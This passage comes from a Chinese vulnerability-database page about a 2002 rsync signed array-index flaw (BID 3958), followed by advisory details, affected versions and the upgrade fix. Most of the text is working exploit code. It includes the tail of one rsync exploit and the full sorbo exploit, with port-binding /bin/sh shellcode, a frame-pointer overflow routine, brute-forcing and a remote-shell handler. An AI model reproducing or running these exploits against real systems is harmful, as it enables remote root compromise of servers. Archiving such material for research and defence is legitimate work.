        fprintf(stderr, "No luck...bye\n");     
        return 1;
}

void
quit(int s)
{
        /* we just write a garbage quit to make the remote end the process */
        /* very crude but who cares */
        write(s, "QUIT\n", 5);
        close(s);
}  

int
setup(int s)
{
        /* we just dump our setup info on the socket. kludge */
        
        char out[512], *check;
        long version = 0;
        
        
        if(rsx.checkvuln) {
                rsx.checkvuln = 0; /* just check once */
                
                /* get version reply -- vuln check */
                memset(out, '\0', sizeof(out));
                read(s, out, sizeof(out)-1);
                if((check = strchr(out, (int)':')) != NULL) {
                        version = strtoul((char *)check+1, (char **)check+3, 0);
                        if(version >= 26) {
                          fprintf(stderr, "target is not vulnerable (version: %lu)\n", version);
                          return -1;
                        }
                }
                else {
                        fprintf(stderr, "did not get version reply..aborting\n");
                        quit(s);
                        return -1;
                }
                
                fprintf(stderr, "Target appears to be vulnerable..continue attack\n");
        }
        
        /* our version string */        
        if(write(s, VERSION, strlen(VERSION)) < 0) return -1;

        /* the module we supposedly want to retrieve */
        memset(out, '\0', sizeof(out));
        snprintf(out, sizeof(out)-1, "%s\n", rsx.module);
        if(write(s, out, strlen(out)) < 0) return -1;
        if(write(s, "--server\n", 9) < 0) return -1;
        if(write(s, "--sender\n", 9) < 0) return -1;
        if(write(s, ".\n", 2) < 0) return -1;
        /* send module name once more */
        if(write(s, out, strlen(out)) < 0) return -1;
        /* send newline */
        if(write(s, "\n", 1) < 0) return -1;

        return 1;
}

int
exploit(int s) 
{
        
        char x_buf[MAXPATHLEN], b[4];
        int i;

        /* sleep(15); */

        memset(x_buf, 0x90, ((MAXPATHLEN/2)-strlen(victim->shell)));
        memcpy(x_buf+((MAXPATHLEN/2)-strlen(victim->shell)), victim->shell, strlen(victim->shell));
        /* allign our address bytes for the pop if needed */
        for(i=(MAXPATHLEN/2); i<((MAXPATHLEN/2)+rsx.allign);i++)
                x_buf[i] = 'x';
        for(i=((MAXPATHLEN/2)+rsx.allign); i<MAXPATHLEN; i+=4)
                *(long *)&x_buf[i] = rsx.brutebase;
        *(int *)&b[0] = (MAXPATHLEN-1);
        if(write(s, b, 4) < 0) return -1;
        if(write(s, x_buf, (MAXPATHLEN-1)) < 0) return -1;
        /* send NULL byte offset from &line[0] to read_sbuf() ebp */
        *(int *)&b[0] = rsx.null_offset;
        if(write(s, b, 4) < 0) return -1;
        /* let rsync know it can go ahead and own itself now */
        memset(b, '\0', 4);
        if(write(s, b, 4) < 0) return -1;

        /* zzz for shell setup */
        usleep(50000);
        
        /* check for our shell -- (mod this to be connectback friendly bruteforce) */
        fprintf(stderr, ";");
        if((rsx.shell = open_s(rsx.h, 30464)) < 0) {
                if(rand() % 2)
                        fprintf(stderr, "P");
                else
                        fprintf(stderr, "p");
                quit(s);
                return -1;
        }
        
        fprintf(stderr, "\n\nSuccess! (ret: %08x offset: %d)\n\n", (int)rsx.brutebase, rsx.null_offset);
        return 1;       
}
        
void
usage(char *n) {
  int i;
  fprintf(stderr, "usage: %s [options] <hostname>\n"
          "\nOptions:\n"
          "\t-m module\tmodule to request\n"
          "\t-p port\t\tport connecting to (default: 873)\n"
          "\t-d dist\t\tret - buf distance\n"
          "\t-r ret\t\treturn address\n"
          "\t-t target\tselect target\n", n);
  for(i = 0; i < sizeof(targets) / sizeof(targets[0]); i++)
    fprintf(stderr, "\t\t\t(%u) %s, %d, %08x\n", i + 1, targets[i].desc, targets[i].retdist, targets[i].retaddr);
    
  
}
        

int
open_s(char *h, int p)
{
        struct sockaddr_in remote;
        struct hostent *iplookup;
        char *ipaddress;
        int sfd;

        if((iplookup = gethostbyname(h)) == NULL) {
                perror("gethostbyname");
                return -1;
        }

        ipaddress = (char *)inet_ntoa(*((struct in_addr *)iplookup->h_addr));
        sfd = socket(AF_INET, SOCK_STREAM, 0);

        remote.sin_family = AF_INET;
        remote.sin_addr.s_addr = inet_addr(ipaddress);
        remote.sin_port = htons(p);
        memset(&(remote.sin_zero), '\0', 8);

        if(connect(sfd, (struct sockaddr *)&remote, sizeof(struct sockaddr)) < 0) return -1;
        
        return sfd;
}

void
handleshell(int closeme, int s)   
{
        char in[512], out[512];
        fd_set fdset;
        
        close(closeme);
        
        if(write(s, SEND, strlen(SEND)) < 0 ) {
                fprintf(stderr, "write error\n");
                return;
        }       
 
        while(1) {
        
                FD_ZERO(&fdset);
                FD_SET(fileno(stdin), &fdset);
                FD_SET(s, &fdset);
        
                select(s+1, &fdset, NULL, NULL, NULL);
        
                if(FD_ISSET(fileno(stdin), &fdset)) {
                        memset(out, '\0', sizeof(out));
                        if(read(0, out, (sizeof(out)-1)) < 0) {
                                fprintf(stderr, "read error\n");
                                exit(1);
                        }
                        if(!strncmp(out, "exit", 4)) {
                                write(s, out, strlen(out));
                                quit(s);
                                exit(0);
                        }
                        if(write(s, out, strlen(out)) < 0) {
                                fprintf(stderr, "write error\n");
                                exit(1);
                        }
                }
        
                if(FD_ISSET(s, &fdset)) {
                        memset(in, '\0', sizeof(in));
                        if(read(s, in, (sizeof(in)-1)) < 0) {
                                fprintf(stderr, "read error\n");
                                exit(1);
                        }
                        fprintf(stderr, "%s", in);
                }
        }
}

// milw0rm.com [2002-01-01]
		

- 漏洞信息 (21242)

rsync 2.3/2.4/2.5 Signed Array Index Remote Code Execution Vulnerability (EDBID:21242)
linux remote
2002-01-25 Verified
0 sorbo
N/A [点击下载]
source: http://www.securityfocus.com/bid/3958/info

A vulnerability exists within some versions of rsync. Under some circumstances, a remotely supplied signed value is used as an array index, allowing NULL bytes to be written to arbitrary memory locations. Exploitation of this vulnerability could lead to the corruption of the stack, and possibly to execution of arbitrary code as the root user.

It is possible that other versions of rsync share this vulnerability. 

/*
 * linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)
 *
 * this is a simple frame pointer overflow:
 *
 * in exclude.c in recv_exclude_list(), l is declared as int.
 * we can pass a negative value for l and fool l >= MAXPATHLEN
 * read_sbuf will in turn do a buf[len] = 0; (without performing any reads)
 * we can modify read_sbuf's saved frame pointer by putting a 0 in the LSB.
 * When read_sbuf exits the stack pointer will be set to the modified value
 * we then pop a return address that lies on line[] where we can make it point to our shellcode
 * ... quite simple =D
 *
 * NOTE: in configuration chroot must be false
 *
 * running: ./sorsync -b -v 127.0.0.1
 * should work on any linux =D
 *
 *
 * greetz:
 * #darkircop@undernet
 * kewlcat@efnet (for telling me about the bug)
 * gunzip@ircnet (moral support =P )
 *
 */


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>      
#include <arpa/inet.h>



#define MAXPATHLEN 4095

int nopcount = 80;

char shellcode[] =
/* port bind tcp/30464 ***/
/* fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xd2"                      // xorl    %edx,%edx
"\xb0\x66"                      // movb    -bashx66,%al
"\xb3\x01"                      // movb    -bashx1,%bl
"\x51"                          // pushl   %ecx
"\xb1\x06"                      // movb    -bashx6,%cl
"\x51"                          // pushl   %ecx
"\xb1\x01"                      // movb    -bashx1,%cl
"\x51"                          // pushl   %ecx
"\xb1\x02"                      // movb    -bashx2,%cl
"\x51"                          // pushl   %ecx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xcd\x80"                      // int     -bashx80

/* port is 30464 !!! */
/* bind(fd, (struct sockaddr)&sin,  sizeof(sin) ) */
"\xb3\x02"                      // movb    -bashx2,%bl
"\xb1\x02"                      // movb    -bashx2,%cl
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
"\x51"                          // pushl   %ecx
/* port = 0x77, change if needed */
"\x80\xc1\x77"                  // addb    -bashx77,%cl
"\x66\x51"                      // pushl   %cx
"\xb1\x02"                      // movb    -bashx2,%cl
"\x66\x51"                      // pushw   %cx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb2\x10"                      // movb    -bashx10,%dl
"\x52"                          // pushl   %edx
"\x51"                          // pushl   %ecx
"\x50"                          // pushl   %eax
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x89\xc2"                      // movl    %eax,%edx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    -bashx66,%al
"\xcd\x80"                      // int     -bashx80

/* listen(fd, 1) */
"\xb3\x01"                      // movb    -bashx1,%bl
"\x53"                          // pushl   %ebx
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x66"                      // movb    -bashx66,%al
"\x80\xc3\x03"                  // addb    -bashx3,%bl
"\xcd\x80"                      // int     -bashx80

/* cli = accept(fd, 0, 0) */
"\x31\xc0"                      // xorl    %eax,%eax
"\x50"                          // pushl   %eax
"\x50"                          // pushl   %eax
"\x52"                          // pushl   %edx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\xb3\x05"                      // movl    -bashx5,%bl
"\xb0\x66"                      // movl    -bashx66,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 0) */
"\x89\xc3"                      // movl    %eax,%ebx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 1) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movl    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* dup2(cli, 2) */
"\x41"                          // inc     %ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x3f"                      // movb    -bashx3f,%al
"\xcd\x80"                      // int     -bashx80

/* execve("//bin/sh", ["//bin/sh", NULL], NULL); */
"\x31\xdb"                      // xorl    %ebx,%ebx
"\x53"                          // pushl   %ebx
"\x68\x6e\x2f\x73\x68"          // pushl   -bashx68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl   -bashx69622f2f
"\x89\xe3"                      // movl    %esp,%ebx
"\x8d\x54\x24\x08"              // leal    0x8(%esp),%edx
"\x31\xc9"                      // xorl    %ecx,%ecx
"\x51"                          // pushl   %ecx
"\x53"                          // pushl   %ebx
"\x8d\x0c\x24"                  // leal    (%esp),%ecx
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x0b"                      // movb    -bashxb,%al
"\xcd\x80"                      // int     -bashx80

/* exit(%ebx) */
"\x31\xc0"                      // xorl    %eax,%eax
"\xb0\x01"                      // movb    -bashx1,%al
"\xcd\x80";                     // int     -bashx80

struct sockaddr_in s_in;
char module[256];/* module to use */


void die(int p, char *m) {
        if(p)
                perror(m);
        else
                printf("%s\n",m);
        exit(0);
}


/* check if data is avaliable to be read */
int checkData(int s) {
int rd;
        fd_set rfds;
        struct timeval tv;
               
FD_ZERO(&rfds);
FD_SET(s, &rfds);

tv.tv_sec = 5;
tv.tv_usec = 0;

                     
rd = select(s+1,&rfds,NULL,NULL,&tv);
if(rd < 0)
die(1,"select()");
return rd;
}


/* get data from server with timeout */
void get(int s) {
        char buff[1024];
        int rd;

while(1) {
rd = checkData(s);
if(rd == 0)
return;

        rd = recv(s,buff,sizeof(buff),0);
if(!rd)
return;

        if(rd == -1)
                die(1,"recv()");
        }
}


/*
 * connects, gets version string and replies with same version
 *
 */
int connect_and_version() {
int rd;
char buff[80];

int s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");

if(connect(s,(struct sockaddr*)&s_in,sizeof(s_in)) < 0)
die(1,"connect()");


/* get version and send same ver */
if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
die(1,"recv()");
send(s,buff,rd,0);

return s;
}

/* send module and other stuff untill we arrive to recv_exclude_list() */
void login(int s) {
char buff[80];

/* send module name */
snprintf(buff,sizeof(buff),"%s\n",module);
send(s,buff,strlen(buff),0);

/* send stuff to get to recv_exclude_list() */
        send(s,"--server\n",9,0);
        send(s,"--sender\n",9,0);
        send(s,"\n",1,0);
                       
}

/* try to connect to the shell */
void ride() {
        fd_set rfds;
        int rd;
int s;
struct sockaddr_in s_in2;
char buff[1024];

memcpy(&s_in2,&s_in,sizeof(s_in2));
s_in2.sin_port = htons(30464);

s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s < 0)
die(1,"socket()");

if(connect(s,(struct sockaddr *)&s_in2,sizeof(s_in2)) < 0) {
close(s);
return;/* failed */
}


/* successs */
        send(s,"id;\n",4,0);

        while(1) {
               FD_ZERO(&rfds);
                FD_SET(0, &rfds);
                FD_SET(s, &rfds);

                if(select(s+1, &rfds, NULL, NULL, NULL) < 1)
                        exit(0);

                if(FD_ISSET(0,&rfds)) {
                        if( (rd = read(0,buff,sizeof(buff))) < 1)
                                exit(0);
                        if( send(s,buff,rd,0) != rd)
                                exit(0);

                }
                if(FD_ISSET(s,&rfds)) {
                        if( (rd = recv(s,buff,sizeof(buff),0)) < 1)
                                exit(0);
                        write(1,buff,rd);
                }
        }
}


/* do the actual overflow
 *
 * len is the len that makes line[len] point to read_sbuf's LSB of the saved FP
 * line is the address of the line buffer
 *
 */
void doOverflow(int len, int line,int align) {
int s,rd;
int *ptr;
char buff[MAXPATHLEN];

s = connect_and_version();
login(s);

printf("Trying with len=%d and line=0x%x (shellcode=0x%x) align=%d\n",len,line,line+abs(len),align);

memset(buff,'A',align);

/* prepare egg and send it */
for(ptr = (int*) (&buff[0]+align); (char*)ptr < ((char*)&buff[MAXPATHLEN]-3); ptr++)
*ptr =  (line+abs(len));
memset(buff+abs(len),'\x90',nopcount);
memcpy(buff+abs(len)+nopcount,shellcode,strlen(shellcode));/* possible overflow ;D */

/* prepare and send length */
rd = MAXPATHLEN -1;
send(s,&rd,sizeof(rd),0);

/* send egg */
send(s,buff,rd,0);


/* send len (overwrite fp */
send(s,&len,sizeof(len),0);


/* make recv_exclude_list() exit */
rd = 0;
send(s,&rd,sizeof(rd),0);


/* recieve any data from server and close */
get(s);

close(s);

/* check if exploitation was successfull */
ride();
}


/* gets a module name */
void getModule() {
int s,rd;
char mod[256];
char *ptr;

/* connect and get initial data */
s = connect_and_version();
get(s);

/* list and get modules */
send(s,"#list\n",6,0);
rd = recv(s,mod,sizeof(mod),0);
if(rd < 1)
die(1,"recv()");

mod[rd] = 0;
ptr = (char*)strchr(mod,' ');
if(!ptr)
return;
*ptr = 0;

snprintf(module,sizeof(module),"%s",mod);
if(module[0] == '@')
die(0,"No modules!!!");

close(s);
}

void usage(char *p) {
printf("Linux rsync <= 2.5.1 remote exploit by sorbo (sorbox@yahoo.com)\n");
printf("Usage: %s <opts>\n",p);

printf("-h this lame message\n");
printf("-v victim ip\n");
printf("-m module name\n");
printf("-l len\n");
printf("-s line address\n");
printf("-b bruteforce\n");
printf("-f force:don't check vuln\n");
printf("-n number of NOPS\n");
printf("-a align\n");
exit(0);
}


/* check if vuln */
int checkVuln() {
int s,rd;
               
s = connect_and_version();
login(s);
get(s);

/* check for overflow */
rd = -1;
send(s,&rd,sizeof(rd),0);

/* now it either sends an overflow message
 * (thus being not vuln )
 * or it waits for input ... vuln
 */
if(!checkData(s))
return 1;

close(s);
return 0;
}



/* gets len variable
 * it does so by seeing where ret addr of read_sbuf is
 * it knows it overwrote the addr because the program will crash
 * the fp will therefore be a word lower than the ret addr
 *
 */
int getLen(int len) {
int s;
               
s = connect_and_version();
login(s);
get(s);

while(1)  {
printf("Trying len %d...\n",len);
send(s,&len,sizeof(len),0);
if(checkData(s)) {
close(s);
return len-4;
}
len-=4;
}
}


int main(int argc, char *argv[]) {
int opt;
int m = 0;
int len = -4;
int line = 0xC0000000;
int check = 1;
int brute = 0;/* bruteforce ;D */
int l = 1;
int align = 0;

        if(argc < 2)
        usage(argv[0]);

while( (opt = getopt(argc,argv,"v:hm:l:s:bfn:a:")) != -1) {
switch(opt) {
case 'v':
s_in.sin_addr.s_addr = inet_addr(optarg);
break;

case 'm':
snprintf(module,sizeof(module),"%s",optarg);
m++;
break;

case 'l':
l = 0;
len = atoi(optarg);
break;

case 's':
if(sscanf(optarg,"%x",&line) == -1) {
printf("Invalid line address\n");
exit(0);
}
break;

case 'b':
brute = 1;
break;

case 'f':
check = 0;
break;

case 'n':
nopcount = atoi(optarg);
break;


case 'a':
align = atoi(optarg);
break;

case 'h':
default:
usage(argv[0]);
}
}
                       
s_in.sin_family = PF_INET;
s_in.sin_port = htons(873);


if(!m) {
printf("Getting module name...\n");
getModule();
printf("Module=%s\n",module);
}

if(check) {
printf("Checking if vuln...\n");
if(checkVuln())
printf("Vuln!!\n");
else {
printf("Not vuln =(\n");
exit(0);
}
}

if(l) {
len = getLen(len);
printf("len=%d\n",len);
}

if(brute) {
while(1) {
doOverflow(len,line,align);
line -= (nopcount-1);
}
}

doOverflow(len,line,align);
exit(0);
}
		

- 漏洞信息

10021
rsync I/O Functions Multiple Signedness Error Remote Command Execution
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified, Third-party Verified

- 漏洞描述

- 时间线

2002-01-25 Unknow
2002-01-25 Unknow

- 解决方案

Upgrade to version 2.5.2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

rsync Signed Array Index Remote Code Execution Vulnerability
Access Validation Error 3958
Yes No
2002-01-25 12:00:00 2009-07-11 09:56:00
The discovery of this vulnerability has been credited to Sebastian Krahmer <krahmer@suse.de>.

- 受影响的程序版本

rsync rsync 2.5.1
- FreeBSD FreeBSD 4.5
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 4.1.1
- FreeBSD FreeBSD 4.1
rsync rsync 2.4.8
rsync rsync 2.4.6
+ Conectiva Linux 8.0
+ Conectiva Linux 7.0
+ Conectiva Linux 6.0
+ EnGarde Secure Linux 1.0.1
+ HP Secure OS software for Linux 1.0
+ MandrakeSoft Corporate Server 1.0.1
+ MandrakeSoft Single Network Firewall 7.2
+ Mandriva Linux Mandrake 8.1 ia64
+ Mandriva Linux Mandrake 8.1
+ Mandriva Linux Mandrake 8.0 ppc
+ Mandriva Linux Mandrake 8.0
+ Mandriva Linux Mandrake 7.2
+ Mandriva Linux Mandrake 7.1
+ RedHat Linux 7.2 ia64
+ RedHat Linux 7.2 i386
+ S.u.S.E. Linux 8.0
+ S.u.S.E. Linux 7.3 sparc
+ S.u.S.E. Linux 7.3 ppc
+ S.u.S.E. Linux 7.3 i386
+ S.u.S.E. Linux 7.2 i386
+ S.u.S.E. Linux 7.1 x86
+ S.u.S.E. Linux 7.1 sparc
+ S.u.S.E. Linux 7.1 ppc
+ S.u.S.E. Linux 7.1 alpha
+ Trustix Secure Linux 1.5
+ Trustix Secure Linux 1.2
rsync rsync 2.4.4
+ RedHat Linux 7.1 ia64
+ RedHat Linux 7.1 i386
+ RedHat Linux 7.1 alpha
+ RedHat Linux 7.0 i386
+ RedHat Linux 7.0 alpha
rsync rsync 2.4.3
+ Caldera OpenLinux 3.1 -IA64
+ Caldera OpenLinux 2.3
+ Caldera OpenLinux Server 3.1
+ Caldera OpenLinux Workstation 3.1
+ Trustix Secure Linux 1.1
rsync rsync 2.4.1
+ RedHat Linux 6.2 sparc
+ RedHat Linux 6.2 i386
+ RedHat Linux 6.2 alpha
+ Trustix Secure Linux 1.0 1
rsync rsync 2.3.2 -1.2 sparc
+ Debian Linux 2.2 sparc
rsync rsync 2.3.2 -1.2 PPC
+ Debian Linux 2.2 powerpc
rsync rsync 2.3.2 -1.2 m68k
+ Debian Linux 2.2 68k
rsync rsync 2.3.2 -1.2 intel
+ Debian Linux 2.2 IA-32
rsync rsync 2.3.2 -1.2 ARM
+ Debian Linux 2.2 arm
rsync rsync 2.3.2 -1.2 alpha
+ Debian Linux 2.2 alpha
rsync rsync 2.3.2
+ S.u.S.E. Linux 7.0 sparc
+ S.u.S.E. Linux 7.0 ppc
+ S.u.S.E. Linux 7.0 i386
+ S.u.S.E. Linux 7.0 alpha
+ S.u.S.E. Linux 6.4 ppc
+ S.u.S.E. Linux 6.4 i386
+ S.u.S.E. Linux 6.4 alpha
rsync rsync 2.3.1
+ Caldera OpenLinux eBuilder 3.0
+ Conectiva Linux 5.1
+ Conectiva Linux 5.0
+ Conectiva Linux graficas
+ Conectiva Linux ecommerce
+ SCO eDesktop 2.4
+ SCO eServer 2.3.1
rsync rsync 2.5.2
+ Immunix Immunix OS 7+
rsync rsync 2.5 .0
- FreeBSD FreeBSD 4.5
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 4.1.1
- FreeBSD FreeBSD 4.1
rsync rsync 2.4.5
rsync rsync 2.3.2 -1.3

- 不受影响的程序版本

rsync rsync 2.5.2
+ Immunix Immunix OS 7+
rsync rsync 2.5 .0
- FreeBSD FreeBSD 4.5
- FreeBSD FreeBSD 4.4
- FreeBSD FreeBSD 4.3
- FreeBSD FreeBSD 4.2
- FreeBSD FreeBSD 4.1.1
- FreeBSD FreeBSD 4.1
rsync rsync 2.4.5
rsync rsync 2.3.2 -1.3

- 漏洞讨论

A vulnerability exists within some versions of rsync. Under some circumstances, a remotely supplied signed value is used as an array index, allowing NULL bytes to be written to arbitrary memory locations. Exploitation of this vulnerability could lead to the corruption of the stack, and possibly to execution of arbitrary code as the root user.

It is possible that other versions of rsync share this vulnerability.

- 漏洞利用

An exploit has been released.

- 解决方案

rsync 2.5.2 is no longer vulnerable to this issue.

There have been some reports that the provided RedHat and Debian updates cause problems. Please refer to Bugzilla bug 58874 in the references section for details and a proposed solution.

HP has published an advisory stating that the fixes for Red Hat Linux should be applied to HP Secure OS software for Linux. The Red Hat fixes are linked to in the solutions section.

RedHat has released an updated advisory and fixes, which are reported to solve the above issues.

Vendor patches:


rsync rsync 2.3.1

rsync rsync 2.3.2 -1.2 ARM

rsync rsync 2.3.2 -1.2 sparc

rsync rsync 2.3.2 -1.2 m68k

rsync rsync 2.3.2 -1.2 intel

rsync rsync 2.3.2 -1.2 alpha

rsync rsync 2.3.2

rsync rsync 2.3.2 -1.2 PPC

rsync rsync 2.4.1

rsync rsync 2.4.3

rsync rsync 2.4.4

rsync rsync 2.4.6

rsync rsync 2.4.8

rsync rsync 2.5.1

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站